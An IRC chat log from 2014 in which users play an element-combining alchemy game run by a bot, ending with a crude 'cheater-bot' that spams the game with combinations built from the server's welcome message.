[2014-12-29T15:35:21-0500] <alchemy> aaron and rust don't make anything exciting.
[2014-12-29T15:35:25-0500] <alokpathy> hurricanes?
[2014-12-29T15:35:26-0500] <+JacobEdelman> @combine aaron tornado
[2014-12-29T15:35:27-0500] <alchemy> aaron and tornado don't make anything exciting.
[2014-12-29T15:35:36-0500] <@awe> @combine tornado ocean
[2014-12-29T15:35:37-0500] <Tamini_> @combine rain wind
[2014-12-29T15:35:38-0500] <alchemy> tornado and ocean don't make anything exciting.
[2014-12-29T15:35:38-0500] <alchemy> rain and wind don't make anything exciting.
[2014-12-29T15:35:40-0500] <alokpathy> @list
[2014-12-29T15:35:41-0500] <@awe> @combine torando water
[2014-12-29T15:35:41-0500] <alchemy> You have: snowman, chivalry, soil, energy, villain, lava, earth, air, cloud, mountain, neanderthal, sentience, electricity, snow, ice, tornado, aaron, ent, sword, ocean
[2014-12-29T15:35:41-0500] <alchemy> You have: man, puddle, plant, fireman, fire, tree, tool, rain, water, evil, hole, penguin, stone, olaf, light, metal, lightning, sandstorm, wind, knight
[2014-12-29T15:35:41-0500] <alchemy> You have: steam, rust
[2014-12-29T15:35:41-0500] <alchemy> That's 42 out of 102!
[2014-12-29T15:35:41-0500] <Tamini_> false
[2014-12-29T15:35:42-0500] <alchemy> You don't have torando!
[2014-12-29T15:35:50-0500] <@awe> @combine tornado water
[2014-12-29T15:35:50-0500] <alokpathy> @combine fire tornado
[2014-12-29T15:35:51-0500] <alchemy> tornado and water don't make anything exciting.
[2014-12-29T15:35:51-0500] <alchemy> fire and tornado don't make anything exciting.
[2014-12-29T15:35:52-0500] <+JacobEdelman> arrando isn't a thing?
[2014-12-29T15:36:01-0500] <Tamini_> arrando, lol
[2014-12-29T15:36:05-0500] <alokpathy> @combine hole penguin
[2014-12-29T15:36:06-0500] <alchemy> hole and penguin don't make anything exciting.
[2014-12-29T15:36:06-0500] <@awe> JacobEdelman: I ain't a tornado, fool.
[2014-12-29T15:36:06-0500] <bob_twinkles> @combine soil water
[2014-12-29T15:36:07-0500] <alchemy> soil and water don't make anything exciting.
[2014-12-29T15:36:13-0500] <+JacobEdelman> @combine snowman aaron
[2014-12-29T15:36:14-0500] <alchemy> snowman and aaron don't make anything exciting.
[2014-12-29T15:36:20-0500] <+JacobEdelman> @combine aaron soil
[2014-12-29T15:36:21-0500] <alchemy> aaron and soil don't make anything exciting.
[2014-12-29T15:36:22-0500] <alokpathy> @combine sentience tornado
[2014-12-29T15:36:23-0500] <alokpathy> :o
[2014-12-29T15:36:23-0500] <alchemy> sentience and tornado don't make anything exciting.
[2014-12-29T15:36:25-0500] <alokpathy> darn
[2014-12-29T15:36:26-0500] <+JacobEdelman> @combine aaron energy
[2014-12-29T15:36:26-0500] <alchemy> aaron and energy don't make anything exciting.
[2014-12-29T15:36:30-0500] <alokpathy> @combine sentience evil
[2014-12-29T15:36:30-0500] <alchemy> sentience and evil don't make anything exciting.
[2014-12-29T15:36:38-0500] <+JacobEdelman> @combine aaron evil
[2014-12-29T15:36:39-0500] <alchemy> aaron and evil don't make anything exciting.
[2014-12-29T15:36:42-0500] <bob_twinkles> @combine energy soil
[2014-12-29T15:36:42-0500] <+JacobEdelman> what?
[2014-12-29T15:36:43-0500] <alchemy> You already combined energy and soil to get plant.
[2014-12-29T15:36:45-0500] <alokpathy> @combine sentience knight
[2014-12-29T15:36:45-0500] <+JacobEdelman> no dark aaron?
[2014-12-29T15:36:46-0500] <alchemy> You already combined sentience and knight to get chivalry.
[2014-12-29T15:36:51-0500] <bob_twinkles> @combine plant water
[2014-12-29T15:36:51-0500] <alokpathy> @combine sentience chivalry
[2014-12-29T15:36:51-0500] <+JacobEdelman> @combine aaron knight
[2014-12-29T15:36:52-0500] <alchemy> plant and water don't make anything exciting.
[2014-12-29T15:36:52-0500] <alchemy> sentience and chivalry don't make anything exciting.
[2014-12-29T15:36:52-0500] <alchemy> aaron and knight don't make anything exciting.
[2014-12-29T15:36:57-0500] <+JacobEdelman> @combine aaron sentience
[2014-12-29T15:36:58-0500] <bob_twinkles> @combine plant earth
[2014-12-29T15:36:58-0500] <alchemy> aaron and sentience don't make anything exciting.
[2014-12-29T15:36:59-0500] <alchemy> plant and earth don't make anything exciting.
[2014-12-29T15:37:06-0500] <+JacobEdelman> @combine aaron plant
[2014-12-29T15:37:07-0500] <alchemy> aaron and plant don't make anything exciting.
[2014-12-29T15:37:10-0500] <alokpathy> @combine awe bob_twinkles 
[2014-12-29T15:37:14-0500] <+JacobEdelman> @combine aaron plant
[2014-12-29T15:37:15-0500] <alchemy> aaron and plant don't make anything exciting.
[2014-12-29T15:37:19-0500] <+JacobEdelman> @combine aaron aaron
[2014-12-29T15:37:20-0500] <alchemy> aaron and aaron don't make anything exciting.
[2014-12-29T15:37:26-0500] <alokpathy> @combine chivalry chivalry
[2014-12-29T15:37:27-0500] <alchemy> chivalry and chivalry don't make anything exciting.
[2014-12-29T15:37:32-0500] <alokpathy> @combine knight knight
[2014-12-29T15:37:34-0500] <alchemy> knight and knight don't make anything exciting.
[2014-12-29T15:37:36-0500] <alokpathy> @list
[2014-12-29T15:37:37-0500] <alchemy> You have: snowman, chivalry, soil, energy, villain, lava, earth, air, cloud, mountain, neanderthal, sentience, electricity, snow, ice, tornado, aaron, ent, sword, ocean
[2014-12-29T15:37:37-0500] <alchemy> You have: man, puddle, plant, fireman, fire, tree, tool, rain, water, evil, hole, penguin, stone, olaf, light, metal, lightning, sandstorm, wind, knight
[2014-12-29T15:37:37-0500] <alchemy> You have: steam, rust
[2014-12-29T15:37:37-0500] <alchemy> That's 42 out of 102!
[2014-12-29T15:37:44-0500] <alokpathy> @combine steam man
[2014-12-29T15:37:45-0500] <alchemy> steam and man don't make anything exciting.
[2014-12-29T15:37:48-0500] <alokpathy> @combine steam rust
[2014-12-29T15:37:50-0500] <alchemy> steam and rust don't make anything exciting.
[2014-12-29T15:37:58-0500] <alokpathy> @combine light lightning
[2014-12-29T15:37:59-0500] <alchemy> light and lightning don't make anything exciting.
[2014-12-29T15:38:03-0500] <alokpathy> @combine tree lightning
[2014-12-29T15:38:04-0500] <alchemy> tree and lightning don't make anything exciting.
[2014-12-29T15:38:08-0500] <alokpathy> @combine fireman fire
[2014-12-29T15:38:09-0500] <alchemy> fireman and fire don't make anything exciting.
[2014-12-29T15:38:12-0500] <bob_twinkles> @combine man man
[2014-12-29T15:38:13-0500] <alchemy> man and man don't make anything exciting.
[2014-12-29T15:38:15-0500] <Tamini_> @combine evil man
[2014-12-29T15:38:15-0500] <alokpathy> @combine stone stone
[2014-12-29T15:38:16-0500] <bob_twinkles> man man man
[2014-12-29T15:38:16-0500] <alchemy> You already combined evil and man to get villain.
[2014-12-29T15:38:16-0500] <alchemy> stone and stone don't make anything exciting.
[2014-12-29T15:38:25-0500] <alokpathy> @combine lightning lightning
[2014-12-29T15:38:26-0500] <Tamini_> @combine evil sentience
[2014-12-29T15:38:26-0500] <alchemy> lightning and lightning don't make anything exciting.
[2014-12-29T15:38:27-0500] <alchemy> evil and sentience don't make anything exciting.
[2014-12-29T15:38:33-0500] <Tamini_> i want to make satan
[2014-12-29T15:38:37-0500] <Tamini_> y u no let me make satan
[2014-12-29T15:38:45-0500] <alokpathy> @list
[2014-12-29T15:38:46-0500] <alchemy> You have: snowman, chivalry, soil, energy, villain, lava, earth, air, cloud, mountain, neanderthal, sentience, electricity, snow, ice, tornado, aaron, ent, sword, ocean
[2014-12-29T15:38:46-0500] <alchemy> You have: man, puddle, plant, fireman, fire, tree, tool, rain, water, evil, hole, penguin, stone, olaf, light, metal, lightning, sandstorm, wind, knight
[2014-12-29T15:38:46-0500] <alchemy> You have: steam, rust
[2014-12-29T15:38:46-0500] <alchemy> That's 42 out of 102!
[2014-12-29T15:38:48-0500] <+JacobEdelman> @combine aaron evil
[2014-12-29T15:38:49-0500] <alchemy> aaron and evil don't make anything exciting.
[2014-12-29T15:38:51-0500] <+JacobEdelman> @combine aaron man
[2014-12-29T15:38:52-0500] <alchemy> aaron and man don't make anything exciting.
[2014-12-29T15:38:55-0500] <alokpathy> @combine snow aaron
[2014-12-29T15:38:56-0500] <alchemy> snow and aaron don't make anything exciting.
[2014-12-29T15:38:56-0500] <+JacobEdelman> @combine aaron stone
[2014-12-29T15:38:57-0500] <alchemy> aaron and stone don't make anything exciting.
[2014-12-29T15:38:58-0500] <alokpathy> snowron :D
[2014-12-29T15:39:04-0500] <alokpathy> @comine tree fire
[2014-12-29T15:39:05-0500] <+JacobEdelman> @combine lightning stone
[2014-12-29T15:39:06-0500] <alchemy> lightning and stone don't make anything exciting.
[2014-12-29T15:39:14-0500] <alokpathy> @combine tree fire
[2014-12-29T15:39:14-0500] <alchemy> tree and fire don't make anything exciting.
[2014-12-29T15:39:16-0500] <+JacobEdelman> @combine aaron villain
[2014-12-29T15:39:16-0500] <alchemy> aaron and villain don't make anything exciting.
[2014-12-29T15:39:21-0500] <alokpathy> @combine wind water
[2014-12-29T15:39:21-0500] <alchemy> You already combined wind and water to get ice.
[2014-12-29T15:39:26-0500] <Tamini_> aaron the something snowman
[2014-12-29T15:39:28-0500] <alokpathy> @combine ocean sentience
[2014-12-29T15:39:29-0500] <alchemy> ocean and sentience don't make anything exciting.
[2014-12-29T15:39:31-0500] <+JacobEdelman> @combine villian electicity
[2014-12-29T15:39:31-0500] <alchemy> You don't have villian!
[2014-12-29T15:39:36-0500] <alokpathy> @combine sentience villain
[2014-12-29T15:39:36-0500] <alchemy> sentience and villain don't make anything exciting.
[2014-12-29T15:39:44-0500] <Tamini_> @combine villain electricity
[2014-12-29T15:39:44-0500] <alchemy> villain and electricity don't make anything exciting.
[2014-12-29T15:39:48-0500] <Tamini_> :(
[2014-12-29T15:39:50-0500] <alokpathy> @combine metal rust
[2014-12-29T15:39:50-0500] <alchemy> metal and rust don't make anything exciting.
[2014-12-29T15:39:52-0500] <+JacobEdelman> @combine villain snowmand
[2014-12-29T15:39:52-0500] <alchemy> You don't have snowmand!
[2014-12-29T15:39:54-0500] <+JacobEdelman> @combine villain snowman
[2014-12-29T15:39:54-0500] <alchemy> villain and snowman don't make anything exciting.
[2014-12-29T15:39:59-0500] <Tamini_> @combine villain evil
[2014-12-29T15:39:59-0500] <alchemy> villain and evil don't make anything exciting.
[2014-12-29T15:40:08-0500] <alokpathy> @combine water water
[2014-12-29T15:40:08-0500] <alchemy> You already combined water and water to get ocean.
[2014-12-29T15:40:10-0500] <+JacobEdelman> @combine everything everything
[2014-12-29T15:40:10-0500] <alchemy> You don't have everything!
[2014-12-29T15:40:12-0500] <alokpathy> @combine ocean ocean
[2014-12-29T15:40:12-0500] <alchemy> ocean and ocean don't make anything exciting.
[2014-12-29T15:40:18-0500] <alokpathy> @combine tornado tornado
[2014-12-29T15:40:18-0500] <alchemy> tornado and tornado don't make anything exciting.
[2014-12-29T15:40:21-0500] <alokpathy> @list
[2014-12-29T15:40:21-0500] <alchemy> You have: snowman, chivalry, soil, energy, villain, lava, earth, air, cloud, mountain, neanderthal, sentience, electricity, snow, ice, tornado, aaron, ent, sword, ocean
[2014-12-29T15:40:21-0500] <alchemy> You have: man, puddle, plant, fireman, fire, tree, tool, rain, water, evil, hole, penguin, stone, olaf, light, metal, lightning, sandstorm, wind, knight
[2014-12-29T15:40:21-0500] <alchemy> You have: steam, rust
[2014-12-29T15:40:21-0500] <alchemy> That's 42 out of 102!
[2014-12-29T15:40:26-0500] <alokpathy> @combine snow snow
[2014-12-29T15:40:26-0500] <alchemy> snow and snow don't make anything exciting.
[2014-12-29T15:40:31-0500] <alokpathy> @combine puddle puddle
[2014-12-29T15:40:31-0500] <alchemy> puddle and puddle don't make anything exciting.
[2014-12-29T15:40:33-0500] <+JacobEdelman> @combine aaron puddle fire
[2014-12-29T15:40:38-0500] <alokpathy> :o
[2014-12-29T15:40:41-0500] <alokpathy> three-way???
[2014-12-29T15:40:50-0500] <alokpathy> @combine soil sentience snow
[2014-12-29T15:40:53-0500] <+JacobEdelman> worth a triw
[2014-12-29T15:40:53-0500] <alokpathy> Darn
[2014-12-29T15:40:56-0500] <+JacobEdelman> *trie
[2014-12-29T15:40:59-0500] <alokpathy> @combine soil sentience
[2014-12-29T15:41:00-0500] <alchemy> soil and sentience don't make anything exciting.
[2014-12-29T15:41:03-0500] <alokpathy> JacobEdelman: lol that pun
[2014-12-29T15:41:03-0500] <+JacobEdelman> @combine aaron puddle
[2014-12-29T15:41:04-0500] <alchemy> aaron and puddle don't make anything exciting.
[2014-12-29T15:41:08-0500] <alokpathy> @combine puddle olaf
[2014-12-29T15:41:08-0500] <alchemy> puddle and olaf don't make anything exciting.
[2014-12-29T15:41:13-0500] <alokpathy> @combine ocean olaf
[2014-12-29T15:41:13-0500] <alchemy> ocean and olaf don't make anything exciting.
[2014-12-29T15:41:18-0500] <alokpathy> @combine olaf fire
[2014-12-29T15:41:18-0500] <alchemy> You already combined olaf and fire to get puddle.
[2014-12-29T15:41:21-0500] <alokpathy> WOW
[2014-12-29T15:41:25-0500] <+hardmath123> guys
[2014-12-29T15:41:27-0500] <alokpathy> That's so depressing
[2014-12-29T15:41:33-0500] <+hardmath123> you aren't supposed to brute-force this
[2014-12-29T15:41:34-0500] <+hardmath123> :P
[2014-12-29T15:41:46-0500] <alokpathy> hardmath123: We aren't. We're doing it randomly :P
[2014-12-29T15:42:20-0500] <+hardmath123> *cue awebot coming in and bruting this in 10 seconds*
[2014-12-29T15:42:26-0500] <alokpathy> LOL
[2014-12-29T15:42:33-0500] <alokpathy> @list
[2014-12-29T15:42:33-0500] <alchemy> You have: snowman, chivalry, soil, energy, villain, lava, earth, air, cloud, mountain, neanderthal, sentience, electricity, snow, ice, tornado, aaron, ent, sword, ocean
[2014-12-29T15:42:33-0500] <alchemy> You have: man, puddle, plant, fireman, fire, tree, tool, rain, water, evil, hole, penguin, stone, olaf, light, metal, lightning, sandstorm, wind, knight
[2014-12-29T15:42:33-0500] <alchemy> You have: steam, rust
[2014-12-29T15:42:33-0500] <alchemy> That's 42 out of 102!
[2014-12-29T15:42:38-0500] <Tamini_> LOL
[2014-12-29T15:42:38-0500] <alokpathy> @combine cloud mountain
[2014-12-29T15:42:38-0500] <alchemy> cloud and mountain don't make anything exciting.
[2014-12-29T15:42:40-0500] <+hardmath123> @help
[2014-12-29T15:42:40-0500] <alchemy> To mix a new brew: `@combine <element> <element>`
[2014-12-29T15:42:40-0500] <alchemy> To list your elements: `@list`
[2014-12-29T15:42:40-0500] <alchemy> Also try `@encourage` and `@hint`.
[2014-12-29T15:42:46-0500] <alokpathy> @encourage
[2014-12-29T15:42:47-0500] <+JacobEdelman> @encourage
[2014-12-29T15:42:49-0500] <+hardmath123> @encourage alokpathy 
[2014-12-29T15:42:49-0500] <alchemy> Cheer up, alokpathy, it's only a game..
[2014-12-29T15:42:52-0500] <jwoglom> @combine soil and lava
[2014-12-29T15:42:53-0500] <+JacobEdelman> @hint
[2014-12-29T15:42:53-0500] <alchemy> Not this time!
[2014-12-29T15:42:55-0500] <+hardmath123> @encourage JacobEdelman 
[2014-12-29T15:42:55-0500] <alchemy> It's for your own good, JacobEdelman.
[2014-12-29T15:42:56-0500] <alokpathy> @hint
[2014-12-29T15:42:56-0500] <alchemy> No can do, buddy.
[2014-12-29T15:42:57-0500] <+JacobEdelman> @hint
[2014-12-29T15:42:57-0500] <alchemy> No can do, buddy.
[2014-12-29T15:42:59-0500] <+JacobEdelman> @hint
[2014-12-29T15:42:59-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-29T15:42:59-0500] <alokpathy> @hint
[2014-12-29T15:42:59-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-29T15:43:01-0500] <+JacobEdelman> @hint
[2014-12-29T15:43:01-0500] <alchemy> Not this time!
[2014-12-29T15:43:03-0500] <+JacobEdelman> @hint
[2014-12-29T15:43:03-0500] <alchemy> No can do, buddy.
[2014-12-29T15:43:03-0500] <alokpathy> Wow
[2014-12-29T15:43:05-0500] <+JacobEdelman> @hint
[2014-12-29T15:43:05-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-29T15:43:08-0500] <alokpathy> hardmath123: What a troll
[2014-12-29T15:43:11-0500] <+JacobEdelman> @hint JacobEdelman
[2014-12-29T15:43:11-0500] <alokpathy> @list
[2014-12-29T15:43:12-0500] <alchemy> You have: snowman, chivalry, soil, energy, villain, lava, earth, air, cloud, mountain, neanderthal, sentience, electricity, snow, ice, tornado, aaron, ent, sword, ocean
[2014-12-29T15:43:12-0500] <alchemy> You have: man, puddle, plant, fireman, fire, tree, tool, rain, water, evil, hole, penguin, stone, olaf, light, metal, lightning, sandstorm, wind, knight
[2014-12-29T15:43:12-0500] <alchemy> You have: steam, rust
[2014-12-29T15:43:12-0500] <alchemy> That's 42 out of 102!
[2014-12-29T15:43:15-0500] <jwoglom> @encourage alchemy 
[2014-12-29T15:43:16-0500] <alchemy> Hey, alchemy, did you know that being utterly lost builds character?
[2014-12-29T15:43:19-0500] <+hardmath123> alokpathy: he actually gives a legit hint once in a while
[2014-12-29T15:43:23-0500] <alokpathy> @hitn
[2014-12-29T15:43:24-0500] <alokpathy> @hint
[2014-12-29T15:43:25-0500] <alchemy> No can do, buddy.
[2014-12-29T15:43:26-0500] <alokpathy> @hint
[2014-12-29T15:43:28-0500] <alchemy> No can do, buddy.
[2014-12-29T15:43:28-0500] <+JacobEdelman> @combine man hole
[2014-12-29T15:43:29-0500] <alokpathy> @hint
[2014-12-29T15:43:29-0500] <alokpathy> @hint
[2014-12-29T15:43:29-0500] <alokpathy> @hint
[2014-12-29T15:43:29-0500] <alchemy> man and hole don't make anything exciting.
[2014-12-29T15:43:30-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-29T15:43:30-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-29T15:43:30-0500] <alokpathy> @hint
[2014-12-29T15:43:30-0500] <alchemy> No can do, buddy.
[2014-12-29T15:43:31-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-29T15:43:33-0500] <alokpathy> wow
[2014-12-29T15:43:40-0500] <alokpathy> Are you sure alchemy?
[2014-12-29T15:43:42-0500] <+JacobEdelman> @combine lightning metal
[2014-12-29T15:43:42-0500] <alokpathy> @combine man hole
[2014-12-29T15:43:43-0500] <alchemy> lightning and metal don't make anything exciting.
[2014-12-29T15:43:43-0500] <alchemy> man and hole don't make anything exciting.
[2014-12-29T15:43:47-0500] <alokpathy> It was right :o
[2014-12-29T15:43:56-0500] <+JacobEdelman> @combine lightning energy
[2014-12-29T15:43:57-0500] <alchemy> lightning and energy don't make anything exciting.
[2014-12-29T15:43:59-0500] <Tamini_> @hint
[2014-12-29T15:44:00-0500] <alchemy> Not this time!
[2014-12-29T15:44:08-0500] <Tamini_> @hint
[2014-12-29T15:44:10-0500] <alchemy> Not this time!
[2014-12-29T15:44:14-0500] <Tamini_> goddammit alchemy
[2014-12-29T15:44:17-0500] <Tamini_> @hint
[2014-12-29T15:44:18-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-29T15:44:24-0500] <+JacobEdelman> @combine lightning metal
[2014-12-29T15:44:25-0500] <alchemy> lightning and metal don't make anything exciting.
[2014-12-29T15:44:26-0500] <Tamini_> dont tell me what to feel
[2014-12-29T15:44:29-0500] <alokpathy> @list
[2014-12-29T15:44:30-0500] <alchemy> You have: snowman, chivalry, soil, energy, villain, lava, earth, air, cloud, mountain, neanderthal, sentience, electricity, snow, ice, tornado, aaron, ent, sword, ocean
[2014-12-29T15:44:30-0500] <alchemy> You have: man, puddle, plant, fireman, fire, tree, tool, rain, water, evil, hole, penguin, stone, olaf, light, metal, lightning, sandstorm, wind, knight
[2014-12-29T15:44:30-0500] <alchemy> You have: steam, rust
[2014-12-29T15:44:30-0500] <alchemy> That's 42 out of 102!
[2014-12-29T15:44:31-0500] <Tamini_> @hint
[2014-12-29T15:44:32-0500] <alchemy> No can do, buddy.
[2014-12-29T15:44:34-0500] <alokpathy> @combine evil hole
[2014-12-29T15:44:36-0500] <alchemy> evil and hole don't make anything exciting.
[2014-12-29T15:44:36-0500] <alokpathy> :D
[2014-12-29T15:44:38-0500] <alokpathy> fuck
[2014-12-29T15:44:44-0500] <Tamini_> hardmath123: 10% chance right
[2014-12-29T15:44:51-0500] <alokpathy> @hint
[2014-12-29T15:44:52-0500] <alchemy> Not this time!
[2014-12-29T15:44:54-0500] <alokpathy> @hint
[2014-12-29T15:44:55-0500] <alchemy> Not this time!
[2014-12-29T15:44:55-0500] <alokpathy> @hint
[2014-12-29T15:44:56-0500] <alchemy> Not this time!
[2014-12-29T15:44:56-0500] <alokpathy> @hint
[2014-12-29T15:44:57-0500] <alchemy> Not this time!
[2014-12-29T15:45:00-0500] <alokpathy> dammit alchemy 
[2014-12-29T15:45:05-0500] <Tamini_> @combine lava mountain
[2014-12-29T15:45:06-0500] <alchemy> lava and mountain don't make anything exciting.
[2014-12-29T15:45:09-0500] <alokpathy> @combine ice fire
[2014-12-29T15:45:10-0500] <alchemy> ice and fire don't make anything exciting.
[2014-12-29T15:45:11-0500] <Tamini_> ru srs
[2014-12-29T15:45:14-0500] <Tamini_> no volcano
[2014-12-29T15:45:14-0500] <alokpathy> @combine water fire
[2014-12-29T15:45:15-0500] <alchemy> You already combined water and fire to get steam.
[2014-12-29T15:45:22-0500] <alokpathy> @list
[2014-12-29T15:45:24-0500] <alchemy> You have: snowman, chivalry, soil, energy, villain, lava, earth, air, cloud, mountain, neanderthal, sentience, electricity, snow, ice, tornado, aaron, ent, sword, ocean
[2014-12-29T15:45:24-0500] <alchemy> You have: man, puddle, plant, fireman, fire, tree, tool, rain, water, evil, hole, penguin, stone, olaf, light, metal, lightning, sandstorm, wind, knight
[2014-12-29T15:45:24-0500] <alchemy> You have: steam, rust
[2014-12-29T15:45:24-0500] <alchemy> That's 42 out of 102!
[2014-12-29T15:45:28-0500] <alokpathy> Wait, grass isn't there
[2014-12-29T15:45:29-0500] <alokpathy> hm
[2014-12-29T15:45:31-0500] <alokpathy> @combine soil tree
[2014-12-29T15:45:32-0500] <alchemy> soil and tree don't make anything exciting.
[2014-12-29T15:45:40-0500] <alokpathy> @combine soil energy
[2014-12-29T15:45:41-0500] <alchemy> You already combined soil and energy to get plant.
[2014-12-29T15:45:46-0500] <alokpathy> Oh, nevermind
[2014-12-29T15:46:24-0500] <Tamini_> @combine plant sun
[2014-12-29T15:46:25-0500] <alchemy> You don't have sun!
[2014-12-29T15:46:30-0500] <+hardmath123> Tamini_: yeah, if random.random() < 0.9
[2014-12-29T15:46:31-0500] <bob_twinkles> @combine fire fire
[2014-12-29T15:46:32-0500] <alchemy> You already combined fire and fire to get energy.
[2014-12-29T15:46:37-0500] <Tamini_> @combine energy fire
[2014-12-29T15:46:38-0500] <alchemy> energy and fire don't make anything exciting.
[2014-12-29T15:46:41-0500] <bob_twinkles> @combine air energy
[2014-12-29T15:46:42-0500] <alchemy> You already combined air and energy to get wind.
[2014-12-29T15:46:51-0500] <bob_twinkles> @combine water energy
[2014-12-29T15:46:52-0500] <alchemy> You just discovered tsunami (water + energy)!
[2014-12-29T15:46:59-0500] <Tamini_> @combine energy light
[2014-12-29T15:47:00-0500] <+hardmath123> bob_twinkles++
[2014-12-29T15:47:00-0500] <alchemy> energy and light don't make anything exciting.
[2014-12-29T15:47:10-0500] <Tamini_> @combine light evil
[2014-12-29T15:47:11-0500] <alchemy> light and evil don't make anything exciting.
[2014-12-29T15:47:11-0500] <bob_twinkles> @combine light fire
[2014-12-29T15:47:12-0500] <alchemy> light and fire don't make anything exciting.
[2014-12-29T15:47:15-0500] <bob_twinkles> darn
[2014-12-29T15:47:17-0500] <Tamini_> @combine light plant
[2014-12-29T15:47:17-0500] <alchemy> light and plant don't make anything exciting.
[2014-12-29T15:47:19-0500] <+hardmath123> Gosh, I wish I wrote this better. this is so ugly i have no idea how to fix it when it breaks.
[2014-12-29T15:47:23-0500] <+hardmath123> @status
[2014-12-29T15:47:24-0500] <alchemy> Alive and happy. Thanks for asking.
[2014-12-29T15:47:42-0500] <Tamini_> @combine air cloud
[2014-12-29T15:47:42-0500] <alchemy> air and cloud don't make anything exciting.
[2014-12-29T15:47:48-0500] <Tamini_> @combine cloud cloud
[2014-12-29T15:47:49-0500] <alchemy> You just discovered thunder (cloud + cloud)!
[2014-12-29T15:47:55-0500] <Tamini_> @combine air air
[2014-12-29T15:47:55-0500] <alchemy> air and air don't make anything exciting.
[2014-12-29T15:47:59-0500] <Tamini_> @combine rain thunder
[2014-12-29T15:48:00-0500] <alchemy> rain and thunder don't make anything exciting.
[2014-12-29T15:48:38-0500] <Tamini_> @list
[2014-12-29T15:48:39-0500] <alchemy> You have: snowman, chivalry, soil, energy, villain, lava, earth, air, cloud, mountain, neanderthal, sentience, electricity, thunder, snow, ice, tornado, aaron, ent, sword
[2014-12-29T15:48:39-0500] <alchemy> You have: ocean, man, puddle, plant, fireman, fire, tree, tool, rain, water, evil, hole, penguin, stone, olaf, light, metal, lightning, sandstorm, tsunami
[2014-12-29T15:48:39-0500] <alchemy> You have: wind, knight, steam, rust
[2014-12-29T15:48:39-0500] <alchemy> That's 44 out of 102!
[2014-12-29T15:48:39-0500] <alokpathy> Tamini_: nicenice
[2014-12-29T15:48:40-0500] <alokpathy> @list
[2014-12-29T15:48:41-0500] <alchemy> You have: snowman, chivalry, soil, energy, villain, lava, earth, air, cloud, mountain, neanderthal, sentience, electricity, thunder, snow, ice, tornado, aaron, ent, sword
[2014-12-29T15:48:41-0500] <alchemy> You have: ocean, man, puddle, plant, fireman, fire, tree, tool, rain, water, evil, hole, penguin, stone, olaf, light, metal, lightning, sandstorm, tsunami
[2014-12-29T15:48:41-0500] <alchemy> You have: wind, knight, steam, rust
[2014-12-29T15:48:41-0500] <alchemy> That's 44 out of 102!
[2014-12-29T15:48:42-0500] <alokpathy> oh
[2014-12-29T15:48:46-0500] <alokpathy> lo
[2014-12-29T15:48:56-0500] <Tamini_> @combine metal tool
[2014-12-29T15:48:57-0500] <alchemy> You just discovered sculpture (metal + tool)!
[2014-12-29T15:49:16-0500] <alokpathy> @combine energy fire
[2014-12-29T15:49:17-0500] <alchemy> energy and fire don't make anything exciting.
[2014-12-29T15:49:23-0500] <alokpathy> @combine energy steam
[2014-12-29T15:49:24-0500] <alchemy> energy and steam don't make anything exciting.
[2014-12-29T15:49:29-0500] <alokpathy> @combine energy tree
[2014-12-29T15:49:30-0500] <alchemy> You already combined energy and tree to get ent.
[2014-12-29T15:49:35-0500] <alokpathy> @combine energy light
[2014-12-29T15:49:35-0500] <alchemy> energy and light don't make anything exciting.
[2014-12-29T15:49:37-0500] <alokpathy> @combine energy lightning
[2014-12-29T15:49:37-0500] <alchemy> energy and lightning don't make anything exciting.
[2014-12-29T15:49:41-0500] <alokpathy> @combine energy snow
[2014-12-29T15:49:41-0500] <alchemy> energy and snow don't make anything exciting.
[2014-12-29T15:49:45-0500] <alokpathy> @combine energy thunder
[2014-12-29T15:49:45-0500] <alchemy> energy and thunder don't make anything exciting.
[2014-12-29T15:49:50-0500] <alokpathy> :|
[2014-12-29T15:49:55-0500] <alokpathy> @combine energy metal
[2014-12-29T15:49:55-0500] <alchemy> energy and metal don't make anything exciting.
[2014-12-29T15:49:56-0500] <alokpathy> ugh
[2014-12-29T15:50:16-0500] <Tamini_> @combine tool tree
[2014-12-29T15:50:16-0500] <alchemy> tool and tree don't make anything exciting.
[2014-12-29T15:50:21-0500] <Tamini_> @combine tool plant
[2014-12-29T15:50:21-0500] <alchemy> tool and plant don't make anything exciting.
[2014-12-29T15:51:38-0500] <alokpathy> Tamini_: lol 31c3 is over
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[2014-12-29T15:51:54-0500] <cheater-bot> @combine :irc.pdgn.co :irc.pdgn.co
[2014-12-29T15:51:54-0500] <cheater-bot> @combine :irc.pdgn.co 001
[2014-12-29T15:51:54-0500] <cheater-bot> @combine :irc.pdgn.co cheater-bot
[2014-12-29T15:51:54-0500] <cheater-bot> @combine :irc.pdgn.co :Welcome
[2014-12-29T15:51:54-0500] <cheater-bot> @combine :irc.pdgn.co to
[2014-12-29T15:51:54-0500] <cheater-bot> @combine :irc.pdgn.co the
[2014-12-29T15:51:54-0500] <cheater-bot> @combine :irc.pdgn.co PdgnCo
[2014-12-29T15:51:54-0500] <cheater-bot> @combine :irc.pdgn.co IRC
[2014-12-29T15:51:55-0500] <cheater-bot> @combine :irc.pdgn.co Network
[2014-12-29T15:51:56-0500] <cheater-bot> @combine :irc.pdgn.co cheater-bot!cheater-bot@pool-108-24-42-62.cmdnnj.fios.verizon.net
[2014-12-29T15:51:57-0500] <cheater-bot> @combine 001 :irc.pdgn.co
[2014-12-29T15:51:57-0500] <alchemy> You don't have 001!
[2014-12-29T15:51:58-0500] <cheater-bot> @combine 001 001
[2014-12-29T15:51:58-0500] <alchemy> You don't have 001!
[2014-12-29T15:51:59-0500] <cheater-bot> @combine 001 cheater-bot
[2014-12-29T15:51:59-0500] <alchemy> You don't have 001!
[2014-12-29T15:52:00-0500] <cheater-bot> @combine 001 :Welcome
[2014-12-29T15:52:00-0500] <alchemy> You don't have 001!
[2014-12-29T15:52:01-0500] <cheater-bot> @combine 001 to
[2014-12-29T15:52:01-0500] <alchemy> You don't have 001!
[2014-12-29T15:52:02-0500] <cheater-bot> @combine 001 the
[2014-12-29T15:52:02-0500] <+JacobEdelman> waut
[2014-12-29T15:52:02-0500] <alchemy> You don't have 001!
[2014-12-29T15:52:03-0500] <cheater-bot> @combine 001 PdgnCo
[2014-12-29T15:52:03-0500] <alchemy> You don't have 001!
[2014-12-29T15:52:04-0500] <cheater-bot> @combine 001 IRC
[2014-12-29T15:52:04-0500] <alchemy> You don't have 001!
